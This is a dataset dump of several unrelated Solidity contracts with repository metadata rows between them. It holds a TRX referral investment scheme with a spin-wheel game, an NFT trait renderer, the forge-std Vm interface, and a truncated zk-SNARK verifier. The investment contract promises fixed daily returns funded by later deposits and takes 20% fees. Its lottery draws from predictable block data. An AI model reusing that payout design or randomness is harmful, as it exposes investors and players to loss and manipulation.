DepositStruct [] depositsArray;
mapping(uint256=>uint256) referralEarningsL;
uint256[3] structure;
uint256 totalRewards;
uint256 noOfTimesPlayed;
}
contract AUTO_SUSTAINABLE {
using SafeMath for uint256;
using SafeMath for uint40;
uint256 public contractInvested;
uint256 public contractWithdrawn;
uint256 public matchBonus;
uint256 public totalUsers;
uint8 constant BonusLinesCount = 3;
uint16 constant percentDivider = 1000;
uint256 constant public ceoFee = 150;
uint256 constant public devFee = 50;
uint8[BonusLinesCount] public referralBonus = [100,50,50];
uint40 public TIME_STEP = 86400;
uint8 public Daily_ROI = 200;
uint8 public noofDays= 100;
uint256 public spinAmount = 200 trx;
mapping(address => Investor) public investorsMap;
address payable public ceoWallet;
address payable public devWallet;
event Upline(address indexed addr, address indexed upline, uint256 bonus);
event NewDeposit(address indexed addr, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
event SpinWheel(address indexed user,uint256 no,uint256 timestamp,uint256 rewards);
constructor(address payable ceoAddr,address payable devAddr) {
require(!isContract(ceoAddr));
ceoWallet = ceoAddr;
devWallet = devAddr;
rewards[2]=50 trx;
rewards[3]=50 trx;
rewards[4]=50 trx;
rewards[5]=100 trx;
rewards[6]=100 trx;
rewards[7]=100 trx;
rewards[10]=2000 trx;
rewards[13]=100 trx;
rewards[14]=100 trx;
rewards[15]=100 trx;
rewards[16]=50 trx;
rewards[17]=50 trx;
rewards[18]=50 trx;
}
function _payInvestor(address _addr) private {
uint256 payout = calcPayoutInternal(_addr);
if (payout > 0) {
investorsMap[_addr].lastPayout = uint40(block.timestamp);
investorsMap[_addr].dividends += payout;
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = investorsMap[_addr].daddy;
uint i = 0;
for (i = 0; i < BonusLinesCount; i ++) {
if(up == address(0)) break;
uint256 bonus = _amount * referralBonus[i] / percentDivider;
investorsMap[up].matchBonus += bonus;
investorsMap[up].totalBonus += bonus;
matchBonus += bonus;
emit MatchPayout(up, _addr, bonus);
investorsMap[up].referralEarningsL[i]=investorsMap[up].referralEarningsL[i].add(bonus);
up = investorsMap[up].daddy;
}
for(uint256 j=i;j< BonusLinesCount;j++){
uint256 bonus = _amount * referralBonus[j] / percentDivider;
investorsMap[ceoWallet].matchBonus += bonus.mul(75).div(100);
investorsMap[ceoWallet].totalBonus += bonus.mul(75).div(100);
investorsMap[devWallet].matchBonus += bonus.mul(25).div(100);
investorsMap[devWallet].totalBonus += bonus.mul(25).div(100);
}
}
function _setUpdaddy(address _addr, address _upline) private {
if (investorsMap[_addr].daddy == address(0) && _addr != ceoWallet && investorsMap[_upline].depositsArray.length > 0) {
investorsMap[_addr].daddy = _upline;
for(uint i = 0; i < BonusLinesCount; i++) {
investorsMap[_upline].structure[i]++;
_upline = investorsMap[_upline].daddy;
if(_upline == address(0)) break;
}
}
}
function deposit(address _upline) external payable{
uint256 amount = msg.value;
require(amount >= 100 trx, "Minimum deposit amount is 100 trx");
Investor storage investor = investorsMap[msg.sender];
require(investor.totalInvested.add(amount)<=500000 trx,"Maximum deposit amount is 500k trx");
require(investor.depositsArray.length < 100, "Max 100 deposits per address");
uint256 cfee = amount.mul(ceoFee).div(percentDivider);
ceoWallet.transfer(cfee);
uint256 dfee = amount.mul(devFee).div(percentDivider);
devWallet.transfer(dfee);
_setUpdaddy(msg.sender, _upline);
investor.depositsArray.push(DepositStruct({
amount: amount,
time: uint40(block.timestamp),
withdrawn:0
}));
if(investor.depositsArray.length==1)
{
totalUsers++;
}
investor.totalInvested += amount;
contractInvested += amount;
_refPayout(msg.sender, amount);
emit NewDeposit(msg.sender, amount);
}
function withdraw() external {
Investor storage investor = investorsMap[msg.sender];
_payInvestor(msg.sender);
require(investor.dividends > 0 || investor.matchBonus > 0 || investor.totalRewards>0);
uint256 amount = investor.dividends + investor.matchBonus + investor.totalRewards;
investor.dividends = 0;
investor.matchBonus = 0;
investor.totalRewards =0;
investor.totalWithdrawn += amount;
contractWithdrawn += amount;
payable(msg.sender).transfer(amount);
}
function calcPayoutInternal(address _addr) internal returns (uint256 value) {
Investor storage investor = investorsMap[_addr];
for (uint256 i = 0; i < investor.depositsArray.length; i++) {
DepositStruct storage iterDeposits = investor.depositsArray[i];
uint40 time_end = iterDeposits.time + noofDays * TIME_STEP;
uint40 from = investor.lastPayout > iterDeposits.time ? investor.lastPayout : iterDeposits.time;
uint40 to = block.timestamp > time_end ? time_end : uint40(block.timestamp);
uint256 dividends = 0;
if (from < to) {
dividends = iterDeposits.amount * (to.sub(from)) * Daily_ROI / noofDays / (TIME_STEP*100);
value +=dividends;
iterDeposits.withdrawn = iterDeposits.withdrawn.add(dividends);
}
}
return value;
}
function calcPayout(address _addr) view external returns (uint256 value) {
Investor storage investor = investorsMap[_addr];
for (uint256 i = 0; i < investor.depositsArray.length; i++) {
DepositStruct storage iterDeposits = investor.depositsArray[i];
uint40 time_end = iterDeposits.time + noofDays * TIME_STEP;
uint40 from = investor.lastPayout > iterDeposits.time ? investor.lastPayout : iterDeposits.time;
uint40 to = block.timestamp > time_end ? time_end : uint40(block.timestamp);
if (from < to) {
value += iterDeposits.amount * (to.sub(from)) * Daily_ROI / noofDays / (TIME_STEP*100);
}
}
return value;
}
function spinInfo(address _addr)view external returns(uint256 spinRewards,uint256 totalRewards)
{
Investor storage investor = investorsMap[_addr];
return (investor.spinRewards,investor.totalRewards);
}
function userInfo(address _addr) view external returns(uint256 for_withdraw,
uint256 totalInvested,
uint256 totalWithdrawn,
uint256 totalBonus,
uint256 _matchBonus,
uint256[BonusLinesCount] memory structure,
uint256[BonusLinesCount] memory referralEarningsL,
DepositStruct[] memory deposits) {
Investor storage investor = investorsMap[_addr];
uint256 payout = this.calcPayout(_addr);
for(uint8 i = 0; i <BonusLinesCount; i++) {
structure[i] = investor.structure[i];
referralEarningsL[i]=investor.referralEarningsL[i];
}
return (payout + investor.dividends,
investor.totalInvested,
investor.totalWithdrawn,
investor.totalBonus,
investor.matchBonus,
structure,
referralEarningsL,
investor.depositsArray);
}
function contractInfo() view external returns(uint256 _invested, uint256 _withdrawn, uint256 _match_bonus,uint256 _totalUsers) {
return (contractInvested, contractWithdrawn, matchBonus,totalUsers);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
//////////////////
uint256 nonce =1;
mapping(uint256=>uint256) public rewards;
function random() internal returns (uint) {
uint randomnumber = uint(keccak256(abi.encodePacked(block.timestamp, msg.sender, nonce))) % 20;
randomnumber = randomnumber + 1;
nonce++;
return randomnumber;
}
function startSpinWheel() public payable returns(uint256 winningPosition)
{
require(msg.value==spinAmount,"Need to buy a chance");
uint256 no = random();
if(rewards[no]>0)
{
investorsMap[msg.sender].totalRewards = investorsMap[msg.sender].totalRewards.add(rewards[no]);
investorsMap[msg.sender].spinRewards = investorsMap[msg.sender].spinRewards.add(rewards[no]);
}
if(rewards[no]<spinAmount){
contractInvested += spinAmount.sub(rewards[no]);
}
investorsMap[msg.sender].noOfTimesPlayed = investorsMap[msg.sender].noOfTimesPlayed.add(1);
emit SpinWheel(msg.sender,no,block.timestamp,rewards[no]);
return no;
}
}
| 305,564 | 186 |
2e80ae43f0bd831ee944542e41eafec37cff62076d30059e6918cd41c565de67
| 16,339 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/cd/cdc71C40D6e6c8266432eC0643142d45F6FAFf85_Traits.sol
| 3,181 | 11,895 |
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
interface ITraits {
function tokenURI(uint256 tokenId) external view returns (string memory);
function selectTrait(uint16 seed, uint8 traitType) external view returns(uint8);
}
interface ITaxOfficersVsDegens {
// struct to store each token's traits
struct OfficersDegens {
bool isDegen;
uint8 degenBody;
uint8 accessories;
uint8 degenGlasses;
uint8 hats;
uint8 taxBody;
uint8 shoes;
uint8 bottom;
uint8 hand;
uint8 top;
uint8 alphaIndex;
}
function getPaidTokens() external view returns (uint256);
function getTokenTraits(uint256 tokenId) external view returns (OfficersDegens memory);
}
contract Traits is Ownable, ITraits {
using Strings for uint256;
uint256 private alphaTypeIndex = 9;
// struct to store each trait's data for metadata and rendering
struct Trait {
string name;
string png;
}
string taxOfficerBody;
string DegenBody;
// mapping from trait type (index) to its name
string[10] _traitTypes = [
//For Degen
"DegenBody",
"Accessories",
"Glasses",
"Hats",
//For TaxOfficers
"TaxOfficerBody",
"Shoes",
"Bottom",
"Hand",
"Top"
];
// storage of each traits name and base64 PNG data
mapping(uint8 => mapping(uint8 => Trait)) public traitData;
mapping(uint8 => uint8) public traitCountForType;
// mapping from alphaIndex to its score
string[4] _alphas = [
"8",
"7",
"6",
"5"
];
ITaxOfficersVsDegens public taxOfficersVsDegens;
function selectTrait(uint16 seed, uint8 traitType) external view override returns(uint8) {
if (traitType == alphaTypeIndex) {
uint256 m = seed % 100;
if (m > 95) {
return 0;
} else if (m > 80) {
return 1;
} else if (m > 50) {
return 2;
} else {
return 3;
}
}
return uint8(seed % traitCountForType[traitType]);
}
function setGame(address _taxOfficersVsDegens) external onlyOwner {
taxOfficersVsDegens = ITaxOfficersVsDegens(_taxOfficersVsDegens);
}
function uploadBodies(uint8 traitType, uint8 traitIds, Trait memory traits) external onlyOwner {
string memory png = traits.png;
png = string(abi.encodePacked(traitData[traitType][traitIds].png,
png));
traitData[traitType][traitIds] = Trait(traits.name,
png);
}
function uploadTraits(uint8 traitType, uint8[] calldata traitIds, Trait[] calldata traits) external onlyOwner {
require(traitIds.length == traits.length, "Mismatched inputs");
for (uint i = 0; i < traits.length; i++) {
traitData[traitType][traitIds[i]] = Trait(traits[i].name,
traits[i].png);
}
traitCountForType[traitType] += uint8(traits.length);
}
function drawTrait(Trait memory trait) internal pure returns (string memory) {
return string(abi.encodePacked('<image x="4" y="4" width="32" height="32" image-rendering="pixelated" preserveAspectRatio="xMidYMid" xlink:href="data:image/png;base64,',
trait.png,
'"/>'));
}
function draw(string memory png) internal pure returns (string memory) {
return string(abi.encodePacked('<image x="4" y="4" width="32" height="32" image-rendering="pixelated" preserveAspectRatio="xMidYMid" xlink:href="data:image/png;base64,',
png,
'"/>'));
}
function drawSVG(uint256 tokenId) public view returns (string memory) {
ITaxOfficersVsDegens.OfficersDegens memory s = taxOfficersVsDegens.getTokenTraits(tokenId);
uint8 shift = s.isDegen ? 0 : 10;
string memory svgString = "";
if (s.isDegen) {
svgString = string(abi.encodePacked(drawTrait(traitData[0][s.degenBody]),
drawTrait(traitData[1][s.accessories]),
drawTrait(traitData[2][s.degenGlasses]),
drawTrait(traitData[3][s.hats])));
} else {
svgString = string(abi.encodePacked(drawTrait(traitData[4][s.taxBody]),
drawTrait(traitData[5][s.shoes]),
drawTrait(traitData[6][s.bottom]),
drawTrait(traitData[7][s.hand]),
drawTrait(traitData[8][s.top])));
}
return string(abi.encodePacked('<svg id="taxOfficersVsDegens" width="100%" height="100%" version="1.1" viewBox="0 0 40 40" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">',
svgString,
"</svg>"));
}
function attributeForTypeAndValue(string memory traitType, string memory value) internal pure returns (string memory) {
return string(abi.encodePacked('{"trait_type":"',
traitType,
'","value":"',
value,
'"}'));
}
function compileAttributes(uint256 tokenId) public view returns (string memory) {
ITaxOfficersVsDegens.OfficersDegens memory s = taxOfficersVsDegens.getTokenTraits(tokenId);
string memory traits;
if (s.isDegen) {
traits = string(abi.encodePacked(attributeForTypeAndValue(_traitTypes[0], traitData[0][s.degenBody].name), ',',
attributeForTypeAndValue(_traitTypes[1], traitData[1][s.accessories].name), ',',
attributeForTypeAndValue(_traitTypes[2], traitData[2][s.degenGlasses].name), ',',
attributeForTypeAndValue(_traitTypes[3], traitData[3][s.hats].name), ','));
} else {
traits = string(abi.encodePacked(attributeForTypeAndValue(_traitTypes[4], traitData[4][s.taxBody].name), ',',
attributeForTypeAndValue(_traitTypes[5], traitData[5][s.shoes].name), ',',
attributeForTypeAndValue(_traitTypes[6], traitData[6][s.bottom].name), ',',
attributeForTypeAndValue(_traitTypes[7], traitData[7][s.hand].name), ',',
attributeForTypeAndValue(_traitTypes[8], traitData[8][s.top].name), ',',
attributeForTypeAndValue("Alpha Score", _alphas[s.alphaIndex]), ','));
}
return string(abi.encodePacked('[',
traits,
'{"trait_type":"Generation","value":',
tokenId <= taxOfficersVsDegens.getPaidTokens() ? '"Gen 0"' : '"Gen 1"',
'},{"trait_type":"Type","value":',
s.isDegen ? '"Degen"' : '"TaxOfficer"',
'}]'));
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
ITaxOfficersVsDegens.OfficersDegens memory s = taxOfficersVsDegens.getTokenTraits(tokenId);
string memory metadata = string(abi.encodePacked('{"name": "',
s.isDegen ? 'Degen #' : 'TaxOfficer #',
tokenId.toString(),
'", "description": "", "image": "data:image/svg+xml;base64,',
base64(bytes(drawSVG(tokenId))),
'", "attributes":',
compileAttributes(tokenId),
"}"));
return string(abi.encodePacked("data:application/json;base64,",
base64(bytes(metadata))));
}
string internal constant TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
function base64(bytes memory data) internal pure returns (string memory) {
if (data.length == 0) return '';
// load the table into memory
string memory table = TABLE;
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((data.length + 2) / 3);
// add some extra buffer at the end required for the writing
string memory result = new string(encodedLen + 32);
assembly {
// set the actual output length
mstore(result, encodedLen)
// prepare the lookup table
let tablePtr := add(table, 1)
// input ptr
let dataPtr := data
let endPtr := add(dataPtr, mload(data))
// result ptr, jump over length
let resultPtr := add(result, 32)
// run over the input, 3 bytes at a time
for {} lt(dataPtr, endPtr) {}
{
dataPtr := add(dataPtr, 3)
// read 3 bytes
let input := mload(dataPtr)
// write 4 characters
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(6, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(input, 0x3F)))))
resultPtr := add(resultPtr, 1)
}
// padding with '='
switch mod(mload(data), 3)
case 1 {mstore(sub(resultPtr, 2), shl(240, 0x3d3d))}
case 2 {mstore(sub(resultPtr, 1), shl(248, 0x3d))}
}
return result;
}
}
| 74,784 | 187 |
ae935659511255b5aea1d889ea2f3ebd0d4f92f79ca2930c7ad4a830e03e6487
| 16,075 |
.sol
|
Solidity
| false |
470657683
|
holographxyz/holograph-protocol
|
29bd1542290efc344ee266e284bf58f4954627ad
|
lib/forge-std/src/Vm.sol
| 3,025 | 12,338 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.9.0;
pragma experimental ABIEncoderV2;
interface VmSafe {
struct Log {
bytes32[] topics;
bytes data;
}
// Loads a storage slot from an address (who, slot)
function load(address, bytes32) external returns (bytes32);
// Signs data, (privateKey, digest) => (v, r, s)
function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32);
// Gets the address for a given private key, (privateKey) => (address)
function addr(uint256) external returns (address);
// Gets the nonce of an account
function getNonce(address) external returns (uint64);
// Performs a foreign function call via the terminal, (stringInputs) => (result)
function ffi(string[] calldata) external returns (bytes memory);
// Sets environment variables, (name, value)
function setEnv(string calldata, string calldata) external;
// Reads environment variables, (name) => (value)
function envBool(string calldata) external returns (bool);
function envUint(string calldata) external returns (uint256);
function envInt(string calldata) external returns (int256);
function envAddress(string calldata) external returns (address);
function envBytes32(string calldata) external returns (bytes32);
function envString(string calldata) external returns (string memory);
function envBytes(string calldata) external returns (bytes memory);
// Reads environment variables as arrays, (name, delim) => (value[])
function envBool(string calldata, string calldata) external returns (bool[] memory);
function envUint(string calldata, string calldata) external returns (uint256[] memory);
function envInt(string calldata, string calldata) external returns (int256[] memory);
function envAddress(string calldata, string calldata) external returns (address[] memory);
function envBytes32(string calldata, string calldata) external returns (bytes32[] memory);
function envString(string calldata, string calldata) external returns (string[] memory);
function envBytes(string calldata, string calldata) external returns (bytes[] memory);
// Records all storage reads and writes
function record() external;
// Gets all accessed reads and write slot from a recording session, for a given address
function accesses(address) external returns (bytes32[] memory reads, bytes32[] memory writes);
// Gets the _creation_ bytecode from an artifact file. Takes in the relative path to the json file
function getCode(string calldata) external returns (bytes memory);
// Gets the _deployed_ bytecode from an artifact file. Takes in the relative path to the json file
function getDeployedCode(string calldata) external returns (bytes memory);
// Labels an address in call traces
function label(address, string calldata) external;
function broadcast() external;
function broadcast(address) external;
function broadcast(uint256) external;
function startBroadcast() external;
function startBroadcast(address) external;
function startBroadcast(uint256) external;
// Stops collecting onchain transactions
function stopBroadcast() external;
// Reads the entire content of file to string, (path) => (data)
function readFile(string calldata) external returns (string memory);
// Reads the entire content of file as binary. Path is relative to the project root. (path) => (data)
function readFileBinary(string calldata) external returns (bytes memory);
// Get the path of the current project root
function projectRoot() external returns (string memory);
// Reads next line of file to string, (path) => (line)
function readLine(string calldata) external returns (string memory);
// (path, data) => ()
function writeFile(string calldata, string calldata) external;
// Path is relative to the project root. (path, data) => ()
function writeFileBinary(string calldata, bytes calldata) external;
// Writes line to file, creating a file if it does not exist.
// (path, data) => ()
function writeLine(string calldata, string calldata) external;
// (path) => ()
function closeFile(string calldata) external;
// - Path points to a directory.
// - The file doesn't exist.
// - The user lacks permissions to remove the file.
// (path) => ()
function removeFile(string calldata) external;
// Convert values to a string, (value) => (stringified value)
function toString(address) external returns (string memory);
function toString(bytes calldata) external returns (string memory);
function toString(bytes32) external returns (string memory);
function toString(bool) external returns (string memory);
function toString(uint256) external returns (string memory);
function toString(int256) external returns (string memory);
// Convert values from a string, (string) => (parsed value)
function parseBytes(string calldata) external returns (bytes memory);
function parseAddress(string calldata) external returns (address);
function parseUint(string calldata) external returns (uint256);
function parseInt(string calldata) external returns (int256);
function parseBytes32(string calldata) external returns (bytes32);
function parseBool(string calldata) external returns (bool);
// Record all the transaction logs
function recordLogs() external;
// Gets all the recorded logs, () => (logs)
function getRecordedLogs() external returns (Log[] memory);
function deriveKey(string calldata, uint32) external returns (uint256);
function deriveKey(string calldata, string calldata, uint32) external returns (uint256);
// Adds a private key to the local forge wallet and returns the address
function rememberKey(uint256) external returns (address);
// Given a string of JSON, return the ABI-encoded value of provided key
// (stringified json, key) => (ABI-encoded data)
// Read the note below!
function parseJson(string calldata, string calldata) external returns (bytes memory);
// Given a string of JSON, return it as ABI-encoded, (stringified json, key) => (ABI-encoded data)
// Read the note below!
function parseJson(string calldata) external returns (bytes memory);
// Note:
// ----
// In case the returned value is a JSON object, it's encoded as a ABI-encoded tuple. As JSON objects
// as tuples, with the attributes in the order in which they are defined.
// For example: json = { 'a': 1, 'b': 0xa4tb......3xs}
// a: uint256
// b: address
// To decode that json, we need to define a struct or a tuple as follows:
// struct json = { uint256 a; address b; }
// decode the tuple in that order, and thus fail.
// Returns the RPC url for the given alias
function rpcUrl(string calldata) external returns (string memory);
// Returns all rpc urls and their aliases `[alias, url][]`
function rpcUrls() external returns (string[2][] memory);
// If the condition is false, discard this run's fuzz inputs and generate new ones.
function assume(bool) external;
}
interface Vm is VmSafe {
// Sets block.timestamp (newTimestamp)
function warp(uint256) external;
// Sets block.height (newHeight)
function roll(uint256) external;
// Sets block.basefee (newBasefee)
function fee(uint256) external;
// Sets block.difficulty (newDifficulty)
function difficulty(uint256) external;
// Sets block.chainid
function chainId(uint256) external;
// Stores a value to an address' storage slot, (who, slot, value)
function store(address, bytes32, bytes32) external;
// Sets the nonce of an account; must be higher than the current nonce of the account
function setNonce(address, uint64) external;
// Sets the *next* call's msg.sender to be the input address
function prank(address) external;
// Sets all subsequent calls' msg.sender to be the input address until `stopPrank` is called
function startPrank(address) external;
function prank(address, address) external;
function startPrank(address, address) external;
// Resets subsequent calls' msg.sender to be `address(this)`
function stopPrank() external;
// Sets an address' balance, (who, newBalance)
function deal(address, uint256) external;
// Sets an address' code, (who, newCode)
function etch(address, bytes calldata) external;
// Expects an error on next call
function expectRevert(bytes calldata) external;
function expectRevert(bytes4) external;
function expectRevert() external;
function expectEmit(bool, bool, bool, bool) external;
function expectEmit(bool, bool, bool, bool, address) external;
// Mocks a call to an address, returning specified data.
// Calldata can either be strict or a partial match, e.g. if you only
// pass a Solidity selector to the expected calldata, then the entire Solidity
// function will be mocked.
function mockCall(address, bytes calldata, bytes calldata) external;
// Mocks a call to an address with a specific msg.value, returning specified data.
// Calldata match takes precedence over msg.value in case of ambiguity.
function mockCall(address, uint256, bytes calldata, bytes calldata) external;
// Clears all mocked calls
function clearMockedCalls() external;
// Expects a call to an address with the specified calldata.
// Calldata can either be a strict or a partial match
function expectCall(address, bytes calldata) external;
// Expects a call to an address with the specified msg.value and calldata
function expectCall(address, uint256, bytes calldata) external;
// Sets block.coinbase (who)
function coinbase(address) external;
// Snapshot the current state of the evm.
// Returns the id of the snapshot that was created.
// To revert a snapshot use `revertTo`
function snapshot() external returns (uint256);
// Revert the state of the evm to a previous snapshot
// Takes the snapshot id to revert to.
// This deletes the snapshot and all snapshots taken after the given snapshot id.
function revertTo(uint256) external returns (bool);
// Creates a new fork with the given endpoint and block and returns the identifier of the fork
function createFork(string calldata, uint256) external returns (uint256);
function createFork(string calldata) external returns (uint256);
function createFork(string calldata, bytes32) external returns (uint256);
function createSelectFork(string calldata, uint256) external returns (uint256);
function createSelectFork(string calldata, bytes32) external returns (uint256);
function createSelectFork(string calldata) external returns (uint256);
// Takes a fork identifier created by `createFork` and sets the corresponding forked state as active.
function selectFork(uint256) external;
/// Returns the currently active fork
/// Reverts if no fork is currently active
function activeFork() external returns (uint256);
// Updates the currently active fork to given block number
// This is similar to `roll` but for the currently active fork
function rollFork(uint256) external;
// Updates the currently active fork to given transaction
function rollFork(bytes32) external;
// Updates the given fork to given block number
function rollFork(uint256 forkId, uint256 blockNumber) external;
function rollFork(uint256 forkId, bytes32 transaction) external;
// Marks that the account(s) should use persistent storage across fork swaps in a multifork setup
// Meaning, changes made to the state of this account will be kept when switching forks
function makePersistent(address) external;
function makePersistent(address, address) external;
function makePersistent(address, address, address) external;
function makePersistent(address[] calldata) external;
// Revokes persistent status from the address, previously added via `makePersistent`
function revokePersistent(address) external;
function revokePersistent(address[] calldata) external;
// Returns true if the account is marked as persistent
function isPersistent(address) external returns (bool);
// In forking mode, explicitly grant the given address cheatcode access
function allowCheatcodes(address) external;
// Fetches the given transaction from the active fork and executes it on the current state
function transact(bytes32 txHash) external;
// Fetches the given transaction from the given fork and executes it on the current state
function transact(uint256 forkId, bytes32 txHash) external;
}
| 1,708 | 188 |
7eba7ecb77eb210b35cb216def1c40aa4bb7813f8e3967c914175f09382261f4
| 47,189 |
.sol
|
Solidity
| false |
399160307
|
zk-ml/linear-regression-demo
|
e55867696623884db18289d1fee0adb5331450b4
|
eth/contracts/libraries/LibVerifier.sol
| 26,794 | 41,291 |
//
// Copyright 2017 Christian Reitwiessner
//
// 2019 OKIMS
// ported to solidity 0.6
// fixed linter warnings
// added requiere error messages
//
//
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.11;
library Pairing {
struct G1Point {
uint X;
uint Y;
}
// Encoding of field elements is: X[0] * z + X[1]
struct G2Point {
uint[2] X;
uint[2] Y;
}
/// @return the generator of G1
function P1() internal pure returns (G1Point memory) {
return G1Point(1, 2);
}
/// @return the generator of G2
function P2() internal pure returns (G2Point memory) {
// Original code point
return G2Point([11559732032986387107991004021392285783925812861821192530917403151452391805634,
10857046999023057135944570762232829481370756359578518086990519993285655852781],
[4082367875863433681332203403145435568316851327593401208105741076214120093531,
8495653923123431417604973247489272438418190587263600148770280649306958101930]);
}
/// @return r the negation of p, i.e. p.addition(p.negate()) should be zero.
function negate(G1Point memory p) internal pure returns (G1Point memory r) {
// The prime q in the base field F_q for G1
uint q = 21888242871839275222246405745257275088696311157297823662689037894645226208583;
if (p.X == 0 && p.Y == 0)
return G1Point(0, 0);
return G1Point(p.X, q - (p.Y % q));
}
/// @return r the sum of two points of G1
function addition(G1Point memory p1, G1Point memory p2) internal view returns (G1Point memory r) {
uint[4] memory input;
input[0] = p1.X;
input[1] = p1.Y;
input[2] = p2.X;
input[3] = p2.Y;
bool success;
// solium-disable-next-line security/no-inline-assembly
assembly {
success := staticcall(sub(gas(), 2000), 6, input, 0xc0, r, 0x60)
// Use "invalid" to make gas estimation work
switch success case 0 { invalid() }
}
require(success,"pairing-add-failed");
}
/// @return r the product of a point on G1 and a scalar, i.e.
/// p == p.scalar_mul(1) and p.addition(p) == p.scalar_mul(2) for all points p.
function scalar_mul(G1Point memory p, uint s) internal view returns (G1Point memory r) {
uint[3] memory input;
input[0] = p.X;
input[1] = p.Y;
input[2] = s;
bool success;
// solium-disable-next-line security/no-inline-assembly
assembly {
success := staticcall(sub(gas(), 2000), 7, input, 0x80, r, 0x60)
// Use "invalid" to make gas estimation work
switch success case 0 { invalid() }
}
require (success,"pairing-mul-failed");
}
/// @return the result of computing the pairing check
/// e(p1[0], p2[0]) * .... * e(p1[n], p2[n]) == 1
/// For example pairing([P1(), P1().negate()], [P2(), P2()]) should
/// return true.
function pairing(G1Point[] memory p1, G2Point[] memory p2) internal view returns (bool) {
require(p1.length == p2.length,"pairing-lengths-failed");
uint elements = p1.length;
uint inputSize = elements * 6;
uint[] memory input = new uint[](inputSize);
for (uint i = 0; i < elements; i++)
{
input[i * 6 + 0] = p1[i].X;
input[i * 6 + 1] = p1[i].Y;
input[i * 6 + 2] = p2[i].X[0];
input[i * 6 + 3] = p2[i].X[1];
input[i * 6 + 4] = p2[i].Y[0];
input[i * 6 + 5] = p2[i].Y[1];
}
uint[1] memory out;
bool success;
// solium-disable-next-line security/no-inline-assembly
assembly {
success := staticcall(sub(gas(), 2000), 8, add(input, 0x20), mul(inputSize, 0x20), out, 0x20)
// Use "invalid" to make gas estimation work
switch success case 0 { invalid() }
}
require(success,"pairing-opcode-failed");
return out[0] != 0;
}
/// Convenience method for a pairing check for two pairs.
function pairingProd2(G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2) internal view returns (bool) {
G1Point[] memory p1 = new G1Point[](2);
G2Point[] memory p2 = new G2Point[](2);
p1[0] = a1;
p1[1] = b1;
p2[0] = a2;
p2[1] = b2;
return pairing(p1, p2);
}
/// Convenience method for a pairing check for three pairs.
function pairingProd3(G1Point memory a1, G2Point memory a2,
G1Point memory b1, G2Point memory b2,
G1Point memory c1, G2Point memory c2) internal view returns (bool) {
G1Point[] memory p1 = new G1Point[](3);
G2Point[] memory p2 = new G2Point[](3);
p1[0] = a1;
p1[1] = b1;
p1[2] = c1;
p2[0] = a2;
p2[1] = b2;
p2[2] = c2;
return pairing(p1, p2);
}
/// Convenience method for a pairing check for four pairs.
function pairingProd4(G1Point memory a1, G2Point memory a2,
G1Point memory b1, G2Point memory b2,
G1Point memory c1, G2Point memory c2,
G1Point memory d1, G2Point memory d2) internal view returns (bool) {
G1Point[] memory p1 = new G1Point[](4);
G2Point[] memory p2 = new G2Point[](4);
p1[0] = a1;
p1[1] = b1;
p1[2] = c1;
p1[3] = d1;
p2[0] = a2;
p2[1] = b2;
p2[2] = c2;
p2[3] = d2;
return pairing(p1, p2);
}
}
contract Verifier {
using Pairing for *;
struct VerifyingKey {
Pairing.G1Point alfa1;
Pairing.G2Point beta2;
Pairing.G2Point gamma2;
Pairing.G2Point delta2;
Pairing.G1Point[] IC;
}
struct Proof {
Pairing.G1Point A;
Pairing.G2Point B;
Pairing.G1Point C;
}
function verifyingKey() internal pure returns (VerifyingKey memory vk) {
vk.alfa1 = Pairing.G1Point(20491192805390485299153009773594534940189261866228447918068658471970481763042,
